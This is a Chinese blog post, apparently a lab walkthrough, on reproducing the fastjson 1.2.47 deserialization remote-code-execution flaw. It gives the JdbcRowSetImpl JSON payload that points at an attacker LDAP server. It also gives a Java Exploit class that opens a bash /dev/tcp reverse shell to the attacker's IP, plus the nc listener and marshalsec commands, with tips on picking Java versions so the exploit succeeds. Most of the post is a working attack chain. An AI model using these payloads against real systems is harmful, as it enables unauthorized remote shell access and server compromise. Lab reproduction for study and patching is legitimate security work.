fastjson反序列化漏洞复现

靶机IP:192.168.253.134
攻击机IP:192.168.142.44

1、靶机环境搭建

靶机:http://caiyun.feixin.10086.cn/dl/095CteuquNKVq  提取密码:NNPD
RCE:http://caiyun.feixin.10086.cn/dl/095CuIsJQOw14  提取密码:J2vd

靶机账号密码:root;toor

tomcat路径:/usr/local/tomcat/apache-tomcat-9.0.27/

jdk版本:

访问靶机Web服务:

被fastjson调用解析的参数:

2、攻击机环境准备

(1)监听流量

nc -lvvp 5555

(2)测试外连

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.142.44:5555/fastjson/Exploit",
    "autoCommit": true
  }
}

(4)修改Exploit并编译成class文件

Exploit.java,修改反弹的IP跟端口

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

编译成class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错):

javac Exploit.java

(5)准备LDAP服务和Web服务

这里使用的Web服务也是tomcat,在Web目录下运行LDAP服务,启动Web服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.44:8080/fastjson/#Exploit

nc准备接收反弹回来的shell

(6)执行

修改IP为攻击机IP,访问靶机漏洞链接post以下payload:

 

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.142.44:1389/fastjson/Exploit",
    "autoCommit": true
  }
}

 

LDAP把请求Redirect到Web服务,Fastjson将会下载Exploit.class,并解析运行,Web服务器也会有请求记录

nc收到反弹回来的shell

3、其他问题

(1)当javac版本和目标服务器差太多,会报一个下面那样的错误,所以需要使用1.8的javac来编译Exploit.java

 

Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

 

 或者降级编译

javac -source 1.7 -target 1.7 Exploit.java

 

(2)记得开放防火墙需要用到的端口。

(3)当运行LDAP的服务器java版本过高,会无法运行LDAP服务,虽然显示正在Listening,但是Fastjson的JNDI会报错,显示无法获取到资源,所以要使用java 1.8(openjdk 8)来运行LDAP服务

(4)推荐使用LDAP协议进行漏洞利用:

RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

 参考链接:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

posted @ 2020-06-17 14:33  VVVinson  阅读(2718)  评论(2编辑  收藏  举报